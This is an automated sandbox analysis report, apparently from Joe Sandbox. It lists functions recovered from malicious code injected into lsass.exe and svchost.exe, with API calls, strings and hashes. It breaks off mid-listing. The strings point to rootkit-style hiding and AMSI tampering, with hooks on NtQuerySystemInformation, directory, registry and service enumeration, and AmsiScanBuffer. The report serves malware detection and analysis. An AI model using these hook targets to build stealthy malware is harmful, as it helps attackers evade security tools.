GetProcessHeap.KERNEL32 ref: 0000017D2DD51501

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 0f95c1dffc8255ab5602c6e5a498ab9dff0cbe01a932d44c9348a9f5b6c20eba
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 98011332619F98DAE714DF66B80428977B1FB89F80B094025DB4D53729DE38D4D2C780

Function 0000017D2DD628F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,0000017D2DD628DF), ref: 0000017D2DD62A12

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: aa166f6266bb96c49c0b0f95c8e07a40ccaf4e3586e99a536f9aed07c311213a
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 6A91B132618B5999FB608F65B4503ED2BB0FB55B98F4C9106DE4E67A8ADA34C4C7C3C0

Function 0000017D2DD58090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000017D2DD580BC
GetCurrentThreadId.KERNEL32 ref: 0000017D2DD580CA
GetCurrentProcessId.KERNEL32 ref: 0000017D2DD580D6
QueryPerformanceCounter.KERNEL32 ref: 0000017D2DD580E6

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 4157c9474ce7d2e752517023a27d0e78ade98282bef4b994be3812213f498eb2
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 2E113036754F088AEB00CF60F8543E833B4FB19758F880E21EA6D867A5DF78C1968380

Function 0000017D2DD527E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000017D2DD528CC
StrCpyW.SHLWAPI ref: 0000017D2DD528E5

Part of subcall function 0000017D2DD53F88: StrCmpNIW.SHLWAPI(?,?,?,0000017D2DD5272F), ref: 0000017D2DD53FA0

Strings

\\.\pipe\, xrefs: 0000017D2DD528D7

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 13d1426295f582f1fef4479a0643aac2144f9f87ebd461d2444b396535ed9581
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: FB71D736208F8A52E734DF26B8443EA6BB4FB857C4F484016DD4D43B8ADEB5C68AC740

Function 0000017D2DD280A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017D2DD280CB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000017D2DD28162

Strings

csm, xrefs: 0000017D2DD28149

Memory Dump Source

Source File: 00000010.00000003.1604607101.0000017D2DD20000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_17d2dd20000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 3ac9d71f64e126eaf44fec6926ac91d70d8a3b8c0250537b7c388df9b0915fe2
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: D9518A32259F088AEB54CB15F448BA937B1EF54B98F198125EA4E4778FDB79D882C700

Function 0000017D2DD29AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000017D2DD29BA7

Strings

MOC, xrefs: 0000017D2DD29B6F
RCC, xrefs: 0000017D2DD29B77

Memory Dump Source

Source File: 00000010.00000003.1604607101.0000017D2DD20000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_17d2dd20000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 6277699836f2ef0ffb95fe119b8b3529a6a6aa0f2a0a27a23f57712dfb66d9c3
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: BB617972508BC886EB619B15F4447DAB7B0FB95B98F084215EB9C07B9BCB78D1D6CB00

Function 0000017D2DD525DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000017D2DD526C2
StrCpyW.SHLWAPI ref: 0000017D2DD526D9

Strings

\\.\pipe\, xrefs: 0000017D2DD526CD

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 35267cd655bf9caf2e33435e48c99650ca7eaeacb93b2f1d621d557c5748305f
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: A451083620CF8A51E624DE25B4543EA6B71FB85B90F4C8025CD5D53B8BDEB9C48AC740

Function 0000017D2DD62660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000017D2DD62778
GetLastError.KERNEL32 ref: 0000017D2DD6279D

Strings

U, xrefs: 0000017D2DD62722

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 72de2532ea490e7dffc4b3d9ad32238eb81dd84d989dfa065ece3d23a1744465
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 5741F532629F8886E710CF65F4447DAB7B0FB58784F884121EE4D87799EB78C482CB80

Function 0000017D2DD59178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000017D2DD591C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,0000017D2DD587F7), ref: 0000017D2DD59209

Strings

csm, xrefs: 0000017D2DD591F6

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 2b9d1bb40f4fa3f8fa971c5af465a33c2449e1adeffbe0ac49bef364339b357f
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: 34111632218F8482EB218B25F444699B7F5FB88B94F584620EB8D07B69DF78C592CB40

Function 0000017D2DD51D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD51D69
HeapAlloc.KERNEL32 ref: 0000017D2DD51D77
GetProcessHeap.KERNEL32 ref: 0000017D2DD51D9C
HeapFree.KERNEL32 ref: 0000017D2DD51DAA

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: 721abd91f3690e52f6e2d03652fbd8b305912301ab44bd746d91c8c08f8d5257
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: CC115B21A15F8886EA14CB66B80429977B0FB88FD0F5C4125DF4E53766EF78D4828380

Function 0000017D2DD51264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD5126A
HeapAlloc.KERNEL32 ref: 0000017D2DD51279
GetProcessHeap.KERNEL32 ref: 0000017D2DD51293
HeapAlloc.KERNEL32 ref: 0000017D2DD512A4

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 8be371d4c702924ae43c8205af8ae46fcb34ac841cdc9e9091f12d0e275119f0
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: 71E03931602A089AE7148B62F80838936F1EB88B05F488024CA0907351EF7D84DA87C0

Function 0000017D2DD51000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD51006
HeapAlloc.KERNEL32 ref: 0000017D2DD51015
GetProcessHeap.KERNEL32 ref: 0000017D2DD51028
HeapAlloc.KERNEL32 ref: 0000017D2DD51037

Memory Dump Source

Source File: 00000010.00000002.3382384800.0000017D2DD51000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Associated: 00000010.00000002.3381814822.0000017D2DD50000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383134005.0000017D2DD65000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3383844157.0000017D2DD70000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384236690.0000017D2DD72000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3384560213.0000017D2DD79000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: a3c236485addc4aadda2de53174d0080134f033a9d576b6ac258d18ee10dc9bc
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: 77E0ED71611A089BE7189B62F80429976B1FF88B15F488064CA0907311EE3C84DA9690

Analysis Process: svchost.exePID: 912, Parent PID: 7680COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1393
Total number of Limit Nodes:	7

Executed Functions

Function 0000022F4B921E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000022F4B921E7F

Part of subcall function 0000022F4B9222A8: GetModuleHandleA.KERNEL32(?,?,?,0000022F4B921EB1), ref: 0000022F4B9222C0
Part of subcall function 0000022F4B9222A8: GetProcAddress.KERNEL32(?,?,?,0000022F4B921EB1), ref: 0000022F4B9222D1

CreateThread.KERNELBASE ref: 0000022F4B922043
TlsAlloc.KERNEL32 ref: 0000022F4B922049
TlsAlloc.KERNEL32 ref: 0000022F4B922055
TlsAlloc.KERNEL32 ref: 0000022F4B922061
TlsAlloc.KERNEL32 ref: 0000022F4B92206D
TlsAlloc.KERNEL32 ref: 0000022F4B922079
TlsAlloc.KERNEL32 ref: 0000022F4B922085

Strings

sechost.dll, xrefs: 0000022F4B921F99
NtResumeThread, xrefs: 0000022F4B921EC2
PdhGetRawCounterArrayW, xrefs: 0000022F4B921FD0
PdhGetFormattedCounterArrayW, xrefs: 0000022F4B921FF1
NtQuerySystemInformation, xrefs: 0000022F4B921EA5
AmsiScanBuffer, xrefs: 0000022F4B922012
pdh.dll, xrefs: 0000022F4B921FD7, 0000022F4B921FF8
advapi32.dll, xrefs: 0000022F4B921F57, 0000022F4B921F78
NtEnumerateKey, xrefs: 0000022F4B921F19
EnumServiceGroupW, xrefs: 0000022F4B921F50
NtEnumerateValueKey, xrefs: 0000022F4B921F36
NtDeviceIoControlFile, xrefs: 0000022F4B921FB6
NtQueryDirectoryFileEx, xrefs: 0000022F4B921EFC
amsi.dll, xrefs: 0000022F4B922019
EnumServicesStatusExW, xrefs: 0000022F4B921F71, 0000022F4B921F92
NtQueryDirectoryFile, xrefs: 0000022F4B921EDF
ntdll.dll, xrefs: 0000022F4B921E8D

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 56b6ef7aae2003b2666995d73d3f8da4165ef61dab3b018a8c9eb3aa42e26a65
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 9351A568D14A56B5FB88FFE5EE787D73730A708345F845932960902563DEFC82AAC390

Function 0000022F4B92104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000022F4B9210B1
RegEnumValueW.ADVAPI32 ref: 0000022F4B921117
GetProcessHeap.KERNEL32 ref: 0000022F4B92115A
HeapAlloc.KERNEL32 ref: 0000022F4B921168
GetProcessHeap.KERNEL32 ref: 0000022F4B921185
HeapFree.KERNEL32 ref: 0000022F4B921193

Strings

d, xrefs: 0000022F4B9210D6

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: b847adb62990c8b4585e741d70a7157698aa1bc9e67df0a6988a8ea5b1f4b2bb
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: BB41AF36A14B80DAE7A4DFA1E55839A77B1F388B88F008135DB8907759DF7CC595CB00

Function 0000022F4B921E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000022F4B921E47
GetProcAddress.KERNEL32 ref: 0000022F4B921E57
SleepEx.KERNELBASE ref: 0000022F4B921E67

Strings

amsi.dll, xrefs: 0000022F4B921E40
AmsiScanBuffer, xrefs: 0000022F4B921E50

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: 2707e0eff7b1b9e8f61abd333ff2ec4983dee57ae7fd51a1eb0f6ce0dd1bda2b
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 50D06228E11A40F5F9CD7FD1DEBD35622716B5CB01FC45835C70E01262DEAD8569C341

Function 0000022F4B923A1C Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000022F4B923A35
PathFindFileNameW.SHLWAPI ref: 0000022F4B923A44

Part of subcall function 0000022F4B923F88: StrCmpNIW.KERNELBASE(?,?,?,0000022F4B92272F), ref: 0000022F4B923FA0

Part of subcall function 0000022F4B923EC8: GetModuleHandleW.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923EDB
Part of subcall function 0000022F4B923EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923F0E
Part of subcall function 0000022F4B923EC8: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923F2E
Part of subcall function 0000022F4B923EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923F47
Part of subcall function 0000022F4B923EC8: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000022F4B923A5B), ref: 0000022F4B923F68

CreateThread.KERNELBASE ref: 0000022F4B923A8B

Part of subcall function 0000022F4B921E74: GetCurrentThread.KERNEL32 ref: 0000022F4B921E7F
Part of subcall function 0000022F4B921E74: CreateThread.KERNELBASE ref: 0000022F4B922043
Part of subcall function 0000022F4B921E74: TlsAlloc.KERNEL32 ref: 0000022F4B922049
Part of subcall function 0000022F4B921E74: TlsAlloc.KERNEL32 ref: 0000022F4B922055
Part of subcall function 0000022F4B921E74: TlsAlloc.KERNEL32 ref: 0000022F4B922061
Part of subcall function 0000022F4B921E74: TlsAlloc.KERNEL32 ref: 0000022F4B92206D
Part of subcall function 0000022F4B921E74: TlsAlloc.KERNEL32 ref: 0000022F4B922079
Part of subcall function 0000022F4B921E74: TlsAlloc.KERNEL32 ref: 0000022F4B922085

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Alloc$CurrentThread$CreateFileModuleNameProcessProtectVirtual$FindHandlePath
String ID:
API String ID: 2779030803-0
Opcode ID: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction ID: 5f1f564115a3c2f07b4922df6e2128082fd153148bbbb057b57b51238e2adea1
Opcode Fuzzy Hash: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction Fuzzy Hash: 14118B29E28701BAFBE8BFE0EB2C39B23B0A758345F404835860681182DEFCC458C202

Function 0000022F4B923F88 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.KERNELBASE(?,?,?,0000022F4B92272F), ref: 0000022F4B923FA0

Strings

$nya-, xrefs: 0000022F4B923F99

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
